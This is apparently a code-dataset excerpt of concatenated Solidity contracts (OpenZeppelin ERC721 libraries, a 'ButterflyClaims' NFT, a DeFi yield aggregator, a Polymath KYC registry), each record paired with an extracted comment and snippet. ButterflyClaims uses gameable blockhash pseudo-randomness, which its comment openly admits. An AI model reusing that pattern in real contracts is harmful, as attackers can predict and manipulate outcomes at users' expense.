success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // File @openzeppelin/contracts/utils/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File @openzeppelin/contracts/token/ERC721/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File @openzeppelin/contracts/utils/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // File contracts/ButterflyClaims.sol /* /$$$$$$$ /$$ /$$ /$$$$$$ /$$ /$$$$$$ /$$ /$$ | $$__ $$ | $$ | $$ /$$__ $$| $$ /$$__ $$| $$ |__/ | $$ \ $$ /$$ /$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ \__/| $$ /$$ /$$ | $$ \__/| $$ /$$$$$$ /$$ /$$$$$$/$$$$ /$$$$$$$ | $$$$$$$ | $$ | $$|_ $$_/|_ $$_/ /$$__ $$ /$$__ $$| $$$$ | $$| $$ | $$ | $$ | $$ |____ $$| $$| $$_ $$_ $$ /$$_____/ | $$__ $$| $$ | $$ | $$ | $$ | $$$$$$$$| $$ \__/| $$_/ | $$| $$ | $$ | $$ | $$ /$$$$$$$| $$| $$ \ $$ \ $$| $$$$$$ | $$ \ $$| $$ | $$ | $$ /$$| $$ /$$| $$_____/| $$ | $$ | $$| $$ | $$ | $$ $$| $$ /$$__ $$| $$| $$ | $$ | $$ \____ $$ | $$$$$$$/| $$$$$$/ | $$$$/| $$$$/| $$$$$$$| $$ | $$ | $$| $$$$$$$ | $$$$$$/| $$| $$$$$$$| $$| $$ | $$ | $$ /$$$$$$$/ |_______/ \______/ \___/ \___/ \_______/|__/ |__/ |__/ \____ $$ \______/ |__/ \_______/|__/|__/ |__/ |__/|_______/ /$$ | $$ | $$$$$$/ \______/ https://github.com/austintgriffith/scaffold-eth/tree/butterfly-claims BuidlGuidl.com */ pragma solidity >=0.6.0 <0.7.0; //SPDX-License-Identifier: MIT //import "hardhat/console.sol"; //learn more: https://docs.openzeppelin.com/contracts/3.x/erc721 contract ButterflyClaims is ERC721 { string[] public phases = [ "QmbccRYPd2M6XKop2HiNHZWwbXUErsyFwN8HTEcwQi2ohJ", "QmargAoKGcqS5AGSrAkTDnaHEtJo47F1tt2cS8icmnnWcM", "QmcWw66wumDMGvTGUqRshu7xPrV9qCRfVUdorabYoVknjd", "QmP1cSxkd4dAyFy5imwP6P5NGjhcGkSoeyXcHu8tMkmxGH", "QmTm54sPYNc3vJWbGoMfpe5hRov94DPgG5tBcBq3jvz4Cf", "QmaimX2Smov2uBXQDXci5m9GzehiXUZdUbiYCE9nPxxMxG" ]; mapping (uint256 => uint256) public birth; mapping (uint256 => bool) public rare; using Counters for Counters.Counter; Counters.Counter private _tokenIds; constructor() public ERC721("ButterflyClaims", "BTFLYC") { _setBaseURI("https://ipfs.io/ipfs/"); } address payable constant public buidlguidl = payable(0x97843608a00e2bbc75ab0C1911387E002565DEDE); uint256 public price = 0.0005 ether; function claim() public payable returns (uint256) { require(msg.value>=price,"AMT OF ETH WRONG"); (bool sent, ) = buidlguidl.call{value: msg.value}(""); require(sent, "ETH TO BG FAILED"); price = ( price * 103 ) / 100; _tokenIds.increment(); uint256 id = _tokenIds.current(); _mint(msg.sender, id); birth[id] = block.timestamp; //fake random from previous block, you can game this ofc if(uint256(keccak256(abi.encodePacked(address(this),id,blockhash(block.number-1))))%12==1){ rare[id] = true; } return id; } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI; uint256 age = block.timestamp - birth[tokenId]; string memory base = baseURI(); if(age<86400){ _tokenURI = phases[0]; }else if(age<172800){ _tokenURI = phases[1]; }else if(age<259200){ _tokenURI = phases[2]; }else if(age<345600){ _tokenURI = phases[3]; }else{ if(rare[tokenId]){ _tokenURI = phases[5]; }else{ _tokenURI = phases[4]; } } return string(abi.encodePacked(base, _tokenURI)); } }
fake random from previous block, you can game this ofc
function claim() public payable returns (uint256) { require(msg.value>=price,"AMT OF ETH WRONG"); require(sent, "ETH TO BG FAILED"); price = ( price * 103 ) / 100; _tokenIds.increment(); uint256 id = _tokenIds.current(); _mint(msg.sender, id); birth[id] = block.timestamp; if(uint256(keccak256(abi.encodePacked(address(this),id,blockhash(block.number-1))))%12==1){ rare[id] = true; } return id; }
2,392,041
pragma solidity ^0.5.16; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; // Interface for ERC20 DAI contract interface DAI { function approve(address, uint256) external returns (bool); function transfer(address, uint256) external returns (bool); function transferFrom( address, address, uint256 ) external returns (bool); function balanceOf(address) external view returns (uint256); } // Interface for Compound's cDAI contract interface cDAI { function mint(uint256) external returns (uint256); function redeem(uint256) external returns (uint256); function supplyRatePerBlock() external returns (uint256); function balanceOf(address) external view returns (uint256); } interface aDAI { function balanceOf(address) external view returns (uint256); } // Interface for Aave's lending pool contract interface AaveLendingPool { function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; function withdraw( address asset, uint256 amount, address to ) external; function getReserveData(address asset) external returns ( uint256 configuration, uint128 liquidityIndex, uint128 variableBorrowIndex, uint128 currentLiquidityRate, uint128 currentVariableBorrowRate, uint128 currentStableBorrowRate, uint40 lastUpdateTimestamp, address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress, address interestRateStrategyAddress, uint8 id ); } contract Aggregator { using SafeMath for uint256; // Variables string public name = "Yield Aggregator"; address public owner; address public locationOfFunds; // Keep track of where the user balance is stored uint256 public amountDeposited; DAI dai = DAI(0x6B175474E89094C44Da98b954EedeAC495271d0F); cDAI cDai = cDAI(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643); aDAI aDai = aDAI(0x028171bCA77440897B824Ca71D1c56caC55b68A3); AaveLendingPool aaveLendingPool = AaveLendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // Events event Deposit(address owner, uint256 amount, address depositTo); event Withdraw(address owner, uint256 amount, address withdrawFrom); event Rebalance(address owner, uint256 amount, address depositTo); modifier onlyOwner() { require(msg.sender == owner); _; } // Constructor constructor() public { owner = msg.sender; } // Functions function deposit( uint256 _amount, uint256 _compAPY, uint256 _aaveAPY ) public onlyOwner { require(_amount > 0); // Rebalance in the case of a protocol with the higher rate after their initial deposit, // is no longer the higher interest rate during this deposit... if (amountDeposited > 0) { rebalance(_compAPY, _aaveAPY); } dai.transferFrom(msg.sender, address(this), _amount); amountDeposited = amountDeposited.add(_amount); // Compare interest rates if (_compAPY > _aaveAPY) { // Deposit into Compound require(_depositToCompound(_amount) == 0); // Update location locationOfFunds = address(cDai); } else { // Deposit into Aave _depositToAave(_amount); // Update location locationOfFunds = address(aaveLendingPool); } // Emit Deposit event emit Deposit(msg.sender, _amount, locationOfFunds); } function withdraw() public onlyOwner { require(amountDeposited > 0); // Determine where the user funds are stored if (locationOfFunds == address(cDai)) { require(_withdrawFromCompound() == 0); } else { // Withdraw from Aave _withdrawFromAave(); } // Once we have the funds, transfer back to owner uint256 balance = dai.balanceOf(address(this)); dai.transfer(msg.sender, balance); emit Withdraw(msg.sender, amountDeposited, locationOfFunds); // Reset user balance amountDeposited = 0; } function rebalance(uint256 _compAPY, uint256 _aaveAPY) public onlyOwner { // Make sure funds are already deposited... require(amountDeposited > 0); uint256 balance; // Compare interest rates if ((_compAPY > _aaveAPY) && (locationOfFunds != address(cDai))) { // If compoundRate is greater than aaveRate, and the current // location of user funds is not in compound, then we transfer funds. _withdrawFromAave(); balance = dai.balanceOf(address(this)); _depositToCompound(balance); // Update location locationOfFunds = address(cDai); emit Rebalance(msg.sender, amountDeposited, locationOfFunds); } else if ( (_aaveAPY > _compAPY) && (locationOfFunds != address(aaveLendingPool)) ) { // If aaveRate is greater than compoundRate, and the current // location of user funds is not in aave, then we transfer funds. _withdrawFromCompound(); balance = dai.balanceOf(address(this)); _depositToAave(balance); // Update location locationOfFunds = address(aaveLendingPool); emit Rebalance(msg.sender, amountDeposited, locationOfFunds); } } function _depositToCompound(uint256 _amount) internal returns (uint256) { require(dai.approve(address(cDai), _amount)); uint256 result = cDai.mint(_amount); return result; } function _withdrawFromCompound() internal returns (uint256) { uint256 balance = cDai.balanceOf(address(this)); uint256 result = cDai.redeem(balance); return result; } function _depositToAave(uint256 _amount) internal returns (uint256) { require(dai.approve(address(aaveLendingPool), _amount)); aaveLendingPool.deposit(address(dai), _amount, address(this), 0); } function _withdrawFromAave() internal { uint256 balance = aDai.balanceOf(address(this)); aaveLendingPool.withdraw(address(dai), balance, address(this)); } // --- function balanceOfContract() public view returns (uint256) { if (locationOfFunds == address(cDai)) { return cDai.balanceOf(address(this)); } else { return aDai.balanceOf(address(this)); } } function balanceWhere() public view returns (address) { return locationOfFunds; } }
Interface for ERC20 DAI contract
interface DAI { function approve(address, uint256) external returns (bool); function transfer(address, uint256) external returns (bool); function transferFrom( address, address, uint256 ) external returns (bool); function balanceOf(address) external view returns (uint256); }
6,376,318
//Address: 0x076719c05961a0c3398e558e2199085d32717ca6 //Contract name: Compliance //Balance: 0 Ether //Verification Date: 1/30/2018 //Transacion Count: 1 // CODE STARTS HERE pragma solidity ^0.4.18; /* Polymath compliance protocol is intended to ensure regulatory compliance in the jurisdictions that security tokens are being offered in. The compliance protocol allows security tokens remain interoperable so that anyone can build on top of the Polymath platform and extend it's functionality. */ interface ICompliance { /** * @dev `setRegsitrarAddress` This function set the SecurityTokenRegistrar contract address. * @param _STRegistrar It is the `this` reference of STR contract * @return bool */ function setRegsitrarAddress(address _STRegistrar) public returns (bool); /** * @dev `createTemplate` is a simple function to create a new compliance template * @param _offeringType The name of the security being issued * @param _issuerJurisdiction The jurisdiction id of the issuer * @param _accredited Accreditation status required for investors * @param _KYC KYC provider used by the template * @param _details Details of the offering requirements * @param _expires Timestamp of when the template will expire * @param _fee Amount of POLY to use the template (held in escrow until issuance) * @param _quorum Minimum percent of shareholders which need to vote to freeze * @param _vestingPeriod Length of time to vest funds */ function createTemplate( string _offeringType, bytes32 _issuerJurisdiction, bool _accredited, address _KYC, bytes32 _details, uint256 _expires, uint256 _fee, uint8 _quorum, uint256 _vestingPeriod ) public; /** * @dev Propose a bid for a security token issuance * @param _securityToken The security token being bid on * @param _template The unique template address * @return bool success */ function proposeTemplate( address _securityToken, address _template ) public returns (bool success); /** * @dev Propose a Security Token Offering Contract for an issuance * @param _securityToken The security token being bid on * @param _stoContract The security token offering contract address * @return bool success */ function proposeOfferingContract( address _securityToken, address _stoContract ) public returns (bool success); /** * @dev Cancel a Template proposal if the bid hasn't been accepted * @param _securityToken The security token being bid on * @param _templateProposalIndex The template proposal array index * @return bool success */ function cancelTemplateProposal( address _securityToken, uint256 _templateProposalIndex ) public returns (bool success); /** * @dev Set the STO contract by the issuer. * @param _STOAddress address of the STO contract deployed over the network. * @param _fee fee to be paid in poly to use that contract * @param _vestingPeriod no. of days investor binded to hold the Security token * @param _quorum Minimum percent of shareholders which need to vote to freeze */ function setSTO ( address _STOAddress, uint256 _fee, uint256 _vestingPeriod, uint8 _quorum ) public returns (bool success); /** * @dev Cancel a STO contract proposal if the bid hasn't been accepted * @param _securityToken The security token being bid on * @param _offeringProposalIndex The offering proposal array index * @return bool success */ function cancelOfferingProposal( address _securityToken, uint256 _offeringProposalIndex ) public returns (bool success); /** * @dev `updateTemplateReputation` is a constant function that updates the history of a security token template usage to keep track of previous uses * @param _template The unique template id * @param _templateIndex The array index of the template proposal */ function updateTemplateReputation (address _template, uint8 _templateIndex) external returns (bool success); /** * @dev `updateOfferingReputation` is a constant function that updates the history of a security token offering contract to keep track of previous uses * @param _stoContract The smart contract address of the STO contract * @param _offeringProposalIndex The array index of the security token offering proposal */ function updateOfferingReputation (address _stoContract, uint8 _offeringProposalIndex) external returns (bool success); /** * @dev Get template details by the proposal index * @param _securityTokenAddress The security token ethereum address * @param _templateIndex The array index of the template being checked * @return Template struct */ function getTemplateByProposal(address _securityTokenAddress, uint8 _templateIndex) view public returns ( address _template ); /** * @dev Get security token offering smart contract details by the proposal index * @param _securityTokenAddress The security token ethereum address * @param _offeringProposalIndex The array index of the STO contract being checked * @return Contract struct */ function getOfferingByProposal(address _securityTokenAddress, uint8 _offeringProposalIndex) view public returns ( address stoContract, address auditor, uint256 vestingPeriod, uint8 quorum, uint256 fee ); } /// ERC Token Standard #20 Interface (https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md) interface IERC20 { function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } interface ICustomers { /** * @dev Allow new provider applications * @param _providerAddress The provider's public key address * @param _name The provider's name * @param _details A SHA256 hash of the new providers details * @param _fee The fee charged for customer verification */ function newProvider(address _providerAddress, string _name, bytes32 _details, uint256 _fee) public returns (bool success); /** * @dev Change a providers fee * @param _newFee The new fee of the provider */ function changeFee(uint256 _newFee) public returns (bool success); /** * @dev Verify an investor * @param _customer The customer's public key address * @param _countryJurisdiction The country urisdiction code of the customer * @param _divisionJurisdiction The subdivision jurisdiction code of the customer * @param _role The type of customer - investor:1, delegate:2, issuer:3, marketmaker:4, etc. * @param _accredited Whether the customer is accredited or not (only applied to investors) * @param _expires The time the verification expires */ function verifyCustomer( address _customer, bytes32 _countryJurisdiction, bytes32 _divisionJurisdiction, uint8 _role, bool _accredited, uint256 _expires ) public returns (bool success); /////////////////// /// GET Functions ////////////////// /** * @dev Get customer attestation data by KYC provider and customer ethereum address * @param _provider Address of the KYC provider. * @param _customer Address of the customer ethereum address */ function getCustomer(address _provider, address _customer) public constant returns ( bytes32, bytes32, bool, uint8, bool, uint256 ); /** * Get provider details and fee by ethereum address * @param _providerAddress Address of the KYC provider */ function getProvider(address _providerAddress) public constant returns ( string name, uint256 joined, bytes32 details, uint256 fee ); } /* Polymath customer registry is used to ensure regulatory compliance of the investors, provider, and issuers. The customers registry is a central place where ethereum addresses can be whitelisted to purchase certain security tokens based on their verifications by providers. */ /** * @title Customers * @dev Contract use to register the user on the Platform platform */ contract Customers is ICustomers { string public VERSION = "1"; IERC20 POLY; // Instance of the POLY token struct Customer { // Structure use to store the details of the customers bytes32 countryJurisdiction; // Customers country jurisdiction as ex - ISO3166 bytes32 divisionJurisdiction; // Customers sub-division jurisdiction as ex - ISO3166 uint256 joined; // Timestamp when customer register uint8 role; // role of the customer bool verified; // Boolean variable to check the status of the customer whether it is verified or not bool accredited; // Accrediation status of the customer bytes32 proof; // Proof for customer uint256 expires; // Timestamp when customer verification expires } mapping(address => mapping(address => Customer)) public customers; // Customers (kyc provider address => customer address) struct Provider { // KYC/Accreditation Provider string name; // Name of the provider uint256 joined; // Timestamp when provider register bytes32 details; // Details of provider uint256 fee; // Fee charged by the KYC providers } mapping(address => Provider) public providers; // KYC/Accreditation Providers // Notifications event LogNewProvider(address providerAddress, string name, bytes32 details); event LogCustomerVerified(address customer, address provider, uint8 role); // Modifier modifier onlyProvider() { require(providers[msg.sender].details != 0x0); _; } /** * @dev Constructor */ function Customers(address _polyTokenAddress) public { POLY = IERC20(_polyTokenAddress); } /** * @dev Allow new provider applications * @param _providerAddress The provider's public key address * @param _name The provider's name * @param _details A SHA256 hash of the new providers details * @param _fee The fee charged for customer verification */ function newProvider(address _providerAddress, string _name, bytes32 _details, uint256 _fee) public returns (bool success) { require(_providerAddress != address(0)); require(_details != 0x0); require(providers[_providerAddress].details == 0x0); providers[_providerAddress] = Provider(_name, now, 